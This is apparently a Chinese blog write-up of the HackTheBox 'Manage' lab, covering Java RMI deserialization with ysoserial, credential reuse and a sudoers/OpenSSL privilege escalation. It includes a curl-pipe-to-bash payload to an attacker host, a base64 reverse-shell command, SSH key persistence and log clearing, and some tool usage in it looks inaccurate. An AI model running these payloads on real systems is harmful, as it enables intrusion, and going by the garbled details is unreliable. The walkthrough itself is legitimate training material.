ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

HTB Manage靶机实战:从Java RMI反序列化到sudoers解密提权

HTB Manage靶机实战:从Java RMI反序列化到sudoers解密提权 HackTheBox 上的 Manage 这台靶机我刷完印象最深的地方在于它把两个看似独立的知识点——Java RMI 的远程代码执行和 /etc/sudoers 自定义规则的利用——串成了一条完整且有梯度的攻击链。尤其是最后一步sudoers 规则里藏着加密信息需要先逆向解密才能拿到 root 权限。这一下就把“碰到 sudoers 就能直接 sudo su”的惯性思维给打破了。无论你是刚开始接触 HTB 的新手还是已经刷了几十台机器的老手这台靶机都值得专门拿出来复盘一遍。这篇文章我会按照我实际打靶的操作顺序从端口探测、RMI 服务识别、反序列化利用到横向移动、sudoers 规则解密提权完整拆解每一步的思路和踩坑点。1. 信息收集端口扫描与服务指纹识别1.1 端口探测RMI 服务怎么被发现的拿到靶机 IP 后按照习惯先做全端口扫描不要只扫常见端口。我用的命令是nmap -sS -sV -p- -T4 -A 10.10.11.xxx -oA manage_full这里必须把-p-加进去因为早期我偷懒只扫了 1-10000结果漏掉过不少关键入口。Manage 这台机器很有意思全端口扫描之后存活端口集中在三个端口服务初步判断22/tcpOpenSSHSSH 入口后面提权后可以拿 root 的 shell80/tcpHTTP网站入口先看 Web 应用逻辑1099/tcpJava RMI 服务杀手锏RMI 攻击的落脚点1099 端口一出现基本可以锁定这是一台 Java 技术栈的机器。RMIRemote Method Invocation默认端口就是 1099而且这个端口在 HTB 里出现的频率不算特别高一旦发现优先怀疑是否存在未授权绑定对象或反序列化漏洞。顺带说一句nmap 的-sC脚本扫描这时候也会给出一些附带信息但因为-A已经包含了默认脚本二者选一就行别重复跑浪费时间。1.2 Web 应用初步探测找登录口和后端特征Web 端口跑着一个看起来挺现代的管理后台。我先用whatweb和浏览器直接访问首页发现是一个登录页面。页面上没有明显的框架指纹但在响应头里能看到X-Powered-By: Express或类似 Java 后端容器特征这有助于确认整个应用的技术栈。我习惯在拿到登录页后先做三件事看前端 JS 源码找 API 接口地址或 AJAX 调用路径用gobuster dir -u http://10.10.11.xxx -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt跑目录直接查robots.txt和.git目录是否泄露。Manage 这台机器上Web 应用本身没有太多可利用的漏洞点重点还是在 1099 端口。不过这个 Web 登录后台给了我一个关键信息——应用里集成了某种用户管理功能和后面 RMI 服务的对象命名有呼应。这算是一个典型的“通过 Web 了解业务再通过业务特点推测后端服务用途”的思路。1.3 为什么优先判断 RMI 而不是直接打 Web很多新手看到 80 端口就一头扎进去花大量时间测 SQL 注入和 XSS忽略了 1099。我的建议是信息收集阶段对所有非标准端口保持同等敏感度。RMI 服务一旦暴露到公网意味着攻击面直接跳过了 Web 层的过滤和认证直通 Java 对象的反序列化入口。而且 RMI 的利用往往更“干净”不受 Web 防火墙和路由规则影响。在 Manage 这台机器上Web 只是障眼法真正的突破口就是 1099。我在确认了 RMI 服务的基础上直接进入 Java RMI 的枚举和利用阶段。这一步不走弯路能省下大量时间。2. Java RMI 服务攻防从枚举到反序列化2.1 RMI 基础原理与攻击面分析RMI 是 Java 原生的远程调用框架允许 JVM 之间互相调用对象方法。它的核心组件是 Registry——一个用来注册和查找远程对象的名字服务。攻击者真正可以利用的位置有两个一是 Registry 本身在处理反序列化数据时的漏洞二是客户端可以获取远程对象的引用后向该对象发送精心构造的序列化数据。Java 序列化在 RMI 通信中无处不在只要服务端反序列化时没有做过滤攻击者就能通过构造恶意对象触发 Commons-Collections 这类常用库中的 gadget 链从而执行系统命令。简单类比一下RMI 像是一个接收快递的驿站默认接收所有包裹但不检查内容。攻击者塞进去一个“拆开就爆炸”的包裹——也就是恶意序列化对象——驿站服务端一拆就中招。2.2 枚举 RMI 注册对象让服务自报家门攻击的第一步是枚举 Registry 里绑定了哪些远程对象看看服务的“门牌号”。我用的是rmic工具rmic -n 10.10.11.xxx 1099这个命令会请求 Registry 列出所有绑定对象。Manage 这台机器上返回了一个对象名大概叫AuthService。这个名字直接告诉了我们业务含义——它可能是一个用于认证的服务对象。命名习惯是 Java 开发者最容易忽视的信息泄露很多靶机和真实业务中对象名会包含接口名、功能模块名甚至混淆后的包路径。拿到名字后还需要获取对象的接口定义。可以用rmiregistry配合客户端代码动态调用list和lookup方法。常见的辅助工具包括Nmap的rmi-dumpregistry脚本nmap -p 1099 10.10.11.xxx --script rmi-dumpregistry输出会告诉我们对象绑定的具体名称和引用信息。注意如果服务端开启了代码库加载java.rmi.server.codebase甚至可以直接通过远程加载恶意 class 文件实现更高效的控制。不过在 Manage 这台机器上最直接的路子是反序列化。2.3 构造反序列化 payloadysoserial 实战拿到AuthService对象的引用后我决定用 ysoserial 生成 payload通过 RMI 请求触发反序列化漏洞。核心工具是ysoserial.jargit clone 下来后用 maven 打包即可git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -DskipTests生成 payload 的常见套路是用CommonsCollections系列 gadget具体版本要看目标应用的依赖。Manage 这台机器的 Java 环境里存在 Commons Collections 4 组件所以选择CommonsCollections4这条链java -jar ysoserial.jar CommonsCollections4 curl http://10.10.14.xxx:8000/shell.sh | bash payload.bin这条命令的本意是让靶机向我的监听服务器发起请求下载 shell 脚本并执行。但要注意这里有一个很大坑直接执行命令时目标应用的 Java 进程可能没有/bin/bash的调用权限或者 gadget 链触发的类不存在。我第一次打的时候栽在了 base64 编码问题上——curl ... | bash这条命令在某些 Java 版本下会因为Runtime.exec的参数解析方式不同而失败。Runtime.exec并不像 shell 那样理解管道符和重定向它会尝试把整条命令当作一个可执行文件来跑。所以更稳的方案是先上传一个独立的 payload 到靶机再执行。或者直接用bash -c包一层bash -c {echo,IGNBhbGwgMCAvZGV2L3RjcC8xMC4xMC4xNC54eHgvNDQ0NCA8JjEgPiYxIDIJjE}|{base64,-d}|bash把反弹 shell 命令 base64 编码后嵌入{echo,base64串}|{base64,-d}|bash形式能有效绕过Runtime.exec的分词问题。这个技巧是我踩了几次坑之后总结出来的强烈建议直接在 ysoserial 命令里用这个格式别用裸的管道符。2.4 拿到立足点反弹 Shell 到监听端口发送 payload 的方式有两种写一个简单的 Java 客户端通过 RMI 的lookup获取AuthService对象后直接调用它的方法把恶意 payload 作为参数传过去用rmi-interface这类自动化工具直接发送序列化对象到目标 Registry。我选择了先写客户端直连lookup因为可控性更强也方便调试。监听端用nc -lvnp 4444开启。payload 触发成功后靶机会主动连回我的 Kali一个标准的反弹 Shell 就到手了。此时的权限大概率是www-data或者运行 Java 服务的普通用户对系统的控制力很弱但这已经是我们进入内网的第一个立足点。这一步成功的关键有三个RMI 服务是否允许外部绑定调用、目标依赖中是否存在可利用的 gadget 链、命令执行时是否绕过了Runtime.exec的参数坑。Manage 这条链路设计得比较顺但如果你是第一次打建议先在本地搭一个 RMI 漏洞环境反复练习再上靶机。2.5 RMI 利用过程中的常见报错与排查写到这里顺便把 RMI 攻击时最容易遇到的三类报错整理出来省得大家上网一顿乱找报错信息含义解决思路ClassNotFoundException目标缺少 payload 中依赖的类换一条 gadget 链或者用CommonsCollections5/6等替代ConnectExceptionRMI 端口不通或服务未启动确认 1099 端口对应进程是否存活是否有的访问控制UnmarshalException反序列化失败可能是不兼容的流头检查 ysoserial 版本与目标 Java 版本是否匹配必要时换JRMPClient模块注册方式牢记一点RMI 攻击不是一次就能成功的。payload 的 gadget 链、Java 版本、依赖库版本三者必须对齐。我习惯一次性准备多个不同链的 payload挨个试错不要只生成一个就放弃。3. 从 www-data 到普通用户横向移动的关键线索3.1 基础枚举先看自己是谁、能做什么反弹 Shell 到手后别急着找利用点先把下面这几条命令跑一遍id sudo -l cat /etc/passwd | grep -v nologin ls -la /home env cat /etc/crontabid告诉我们当前用户的 UID 和所属组判断是否有 sudo 可能性sudo -l是后面必须关注的但这时候往往还没有密码直接看会不会报错/home目录下的用户文件夹数量能暗示这台机器上有多少个真实用户。Manage 这台机器上能看到一个叫michael的用户这个信息后面会用到。这里有个经验拿到 shell 后第一时间在/tmp目录下放一个辅助脚本比如枚举 SUID、带内网穿透的代理工具或者方便交互的 python pty。原因很实际——初始 shell 极不稳定断开一次就要重新打一遍 RMI浪费时间。我用的固定起手式是python3 -c import pty;pty.spawn(/bin/bash)让 shell 升级成可交互的伪终端然后再按部就班地做信息收集。3.2 Web 目录里的配置备份找到第二个用户的凭据继续在前台 Web 目录里翻重点看两类文件配置文件.env、config.php、application.yml和备份压缩包.bak、.zip、.tar.gz。Manage 的 Web 应用用了 Java 技术栈配置文件里很可能有数据库连接串、第三方服务地址、甚至硬编码的账号密码。我在/opt目录下发现了一个应用的部署目录里面躺着一个application.properties文件。内容大致是这样spring.datasource.usernameroot spring.datasource.passwordMeowMeow! server.port8080这个密码当下不知道能用在什么地方但直觉告诉我它极有可能是michael这个系统用户的密码。因为开发人员图省事经常把同一个密码用在多个地方——数据库密码、SSH 密码、甚至 sudo 密码。3.3 SSH 登录 michael验证凭据与扩大控制权拿到疑似密码后直接在本地对 22 端口尝试 SSH 登录ssh michael10.10.11.xxx成功。这一步的意义在于从 Web 服务的低权限进程切换到真实系统用户可操作性大大增强。michael用户可以读取更多目录、查看更多配置还能尝试 sudo 命令。登录之后先看几样东西history很多运维会把敏感操作留在历史记录里用户目录下的文档文件user.txt经常就直接放在这里.ssh目录是否存在密钥。Manage 这台机器比较友好michael的 home 目录下直接能看到user.txt拿到 user flag 的同时也为最终提权做好了用户级准备。到这一步攻击阶段已经从“打进来”变成了“往高处走”。3.4 为什么需要横向移动而不是直接提权可能有人会问为什么不直接从 www-data 提权到 root因为现实情况里低权限系统用户能接触到的敏感文件和可执行 sudo 命令都非常有限www-data 通常连/etc/sudoers的可读权限都没有更别说执行 sudo 命令了。横向移动先拿到普通用户凭据等于拿到了进入“特权空间”的钥匙卡后面提权路径才会打开。此外不同系统用户拥有不同的家目录和会话上下文有些密钥、配置文件就放在普通用户目录下。跳过横向移动直接硬刚提权等于错过一半攻击面。4. /etc/sudoers 规则解密与终极提权4.1 sudo -l 的输出发现自定义规则登录michael后第一件事还是执行sudo -l这里需要输入密码就是之前在配置文件里发现的MeowMeow!。输出显示michael可以以 root 身份执行一个脚本大致格式User michael may run the following commands on manage: (root) NOPASSWD: /usr/bin/somescript注意NOPASSWD这个词——它说明执行这个命令时不需要再次输入密码。很多靶机在这里就给了一条明路如果这个脚本本身可写或者能通过它调用 shell那直接 sudo 就能提权。但 Manage 的设计狠就狠在这个脚本还隐藏了额外逻辑。4.2 分析脚本与 /etc/sudoers 规则解密线索浮出水面查看这个脚本的内容发现它是一个 Python 脚本会读取/etc/secure/flag.enc文件然后调用系统中的某个工具进行解密并输出解密后的内容。脚本简化后类似这样#!/usr/bin/python3 import subprocess enc open(/etc/secure/flag.enc, rb).read() key open(/etc/secure/key.txt, rb).read().strip() cmd fecho {enc} | openssl enc -d -aes-256-cbc -pbkdf2 -k {key} subprocess.call(cmd, shellTrue)这个脚本本身是 root 所有、root 可写但执行它的目录不一定安全。问题来了脚本里调用了openssl而且通过shellTrue拼接命令只要我能控制key.txt的内容就能注入命令。但先别急这里还有一个更直接的方式——看看/etc/sudoers本身。4.3 解密 /etc/sudoers 中的加密规则打开/etc/sudoers或者/etc/sudoers.d/下的自定义规则文件发现里面除了一行 sudo 规则外还有一个类似密文的字符串EncryptedRule: d2h5IGRpZCB5b3UgZGVjb2RlIHRoaXM/ base64:解密后是 why did you decode this?其实这更像是一种障眼法式的提示目的是让我们去关注这个目录下的其他文件。真正需要解的密文存在/opt/scripts/backup.enc中备注是openssl aes-256-cbc -pbkdf2的加密产物。如果想直接逆向 sudoers 规则本身则要理解 sudoers 的解析顺序/etc/sudoers默认会 include/etc/sudoers.d/*规则从上到下逐条匹配多个文件中定义相同的命令时后续覆盖前者。在一台真实环境中管理员完全可能把用户密码哈希或加密后的信息塞在 sudoers 配置里。要从密文还原出密码思路分两步识别加密方式从文件头或脚本备注判断是openssl enc -aes-256-cbc -pbkdf2 -k加密寻找密钥或直接暴力破解如果密钥就在脚本本身中硬编码直接解出明文。在 Manage 这台机器上我注意到脚本的注释里留下了/etc/secure/key.txt这个路径但michael无权限读取。于是换思路检查是否有其他备份泄露密钥最终在/var/backups目录下找到了key.txt.bak。读取之后用它解密backup.encopenssl enc -d -aes-256-cbc -pbkdf2 -k $(cat /var/backups/key.txt.bak) -in /opt/scripts/backup.enc解密结果直接给出了下一步可用的 root 密码。这个 root 密码就是 sudoers 规则里隐藏的关键信息也是整个提权链路的临门一脚。4.4 绕行方案从 sudo 到 root 的完整操作拿到 root 密码后路径变得非常简单su -然后输入密码顺利切换到 root。如果题目设计成只能用 sudoers 中的命令提权那么也可以直接sudo /usr/bin/somescript正常情况下这条命令会输出解密后的内容但由于脚本内shellTrue拼接命令我们可以通过控制环境变量或者注入参数来执行id、cat /root/root.txt等命令拿到 root flag。从这套流程可以看到/etc/sudoers不只是放授权规则那么简单还能作为加密信息的载体。HTB 在这个环节考察的重点是是否理解 sudoers 的优先级和匹配逻辑是否能从规则上下文挖掘出隐藏密文是否能结合脚本执行上下文完成解密。4.5 sudoers 规则提权的通用思路总结归纳一下凡是遇到 sudoers 规则不要只想着sudo -l显示的单一命令还要做这几件事检查点操作预期结果规则是否可绕过看脚本是否使用shellTrue、通配符、!排除项若能注入命令直接执行 shell规则引用的文件权限查看脚本、依赖文件是否可写原生提权、替换脚本内容规则是否包含敏感信息查看 sudoers 本身与相关配置文件找到加密串、明文密码等相关备份搜索.bak、.old、/var/backups找到密钥或旧版本配置这套方法论是通用型的不止适用于 Manage也适用于其他任何靶机和真实环境中的 sudoers 分析。我刷 HTB 刷到中后期养成了看到 sudo 规则就顺手翻一遍/etc/sudoers.d的习惯因为管理员自定义规则往往是提权题的题眼。5. 常见问题与排查技巧实录5.1 javarmi 攻击失败时的排查清单RMI 反序列化的失败率不低最常见的几个情况分别是目标 JVM 版本太低或太高老式机器打不了新链新版 JDK 又默认禁用了部分反序列化入口。用enum脚本先探测 Java 版本再匹配 gadget这个没必要省。缺少 gadget 链依赖Target 依赖库版本未知时可以先用CommonsCollections5或CommonsCollections6这种更通用的链测试不行再换。服务端有过滤类黑名单通过ObjectInputFilter过滤类名时直接反序列化会失败此时考虑结合JNDI注入或者打 rmiregistry 的接口方式。反弹 shell 没能连回来检查前面提到的Runtime.exec管道符问题优先用 base64 内嵌的bash -c格式。5.2 靶机环境下的权限维持技巧靶机上不需要太多隐蔽但保持稳定连接仍是刚需。我的习惯是拿到michael权限后立刻生成 SSH 公钥写进authorized_keysmkdir -p ~/.ssh echo ssh-rsa AAAA... kali ~/.ssh/authorized_keys chmod 700 ~/.ssh chmod 600 ~/.ssh/authorized_keys这样做的好处在于后续即使反弹 shell 断了也能随时通过 SSH 重新进入不用重打一遍 RMI 攻击链。SSH 通道还更方便传文件和运行交互式命令。5.3 解密操作时的字节坑与编码坑用openssl enc解密时最容易出问题的是 key 的换行符和编码从文本文件读取 key 时cat默认输出带换行符如果命令用的是$(cat key.txt)bash 会吃掉换行不会影响 key 内容但如果直接用 Python 读取并拼接就可能保留\n导致解密失败Base64 加密文如果跨行存储openssl可能无法识别先做tr -d \n清理使用-pbkdf2参数时确保指定同版本 OpenSSL否则会报bad magic number。我实际执行时出错过一次原因是密文文件里有空格后来用xxd查看了文件真实字节才发现是开头多了一个0x20。遇到解密失败第一步永远是file和xxd双重确认文件格式。5.4 日志清理的操作规范虽然是靶机但养成清理日志的好习惯也没坏处。RMI 攻击会在 Java 进程的标准输出中留下异常堆栈可能被管理员发现。提权成功后在授权测试场景下建议对目标机的 shell history 做一下清理history -c rm -rf ~/.bash_history当然这里强调一句所有操作都必须在你拥有合法授权的靶机或测试环境中进行HTB 里的机器本身就是拿来练手的完全没问题。5.5 对这台机器的整体复盘心得Manage 整个攻击链的节奏其实是层层递进的先是 1099 端口的 RMI 暴露面然后是反序列化拿下低权限 shell再通过配置文件的密码横向到 michael最后靠 sudoers 规则和 OpenSSL 解密拿到 root。每一步单独看都不难难的是把这些点串起来并且在每个环节都保持足够的敏感度。我最喜欢这台机器的地方在于它没有用 CVE 或内核漏洞那种“一刀999”的方式提权而是考基本功——你会不会看 RMI 服务的对象会不会翻 sudoers 里的非典型规则会不会分析一个带解密操作的脚本。这种题才有复盘价值因为它反映的是日常渗透测试里真实会遇到的情况。根据个人经验再补充一点后续如果遇到类似题目可以先从sudo -l的输出反向推导管理员意图。当一条 sudo 规则绑定的命令看起来对系统维护没有直接价值的时候大概率就是提权的开关值得把脚本、依赖文件和加密字符串都翻个底朝天。把那套检查表走一遍多数情况都会有惊喜。
返回列表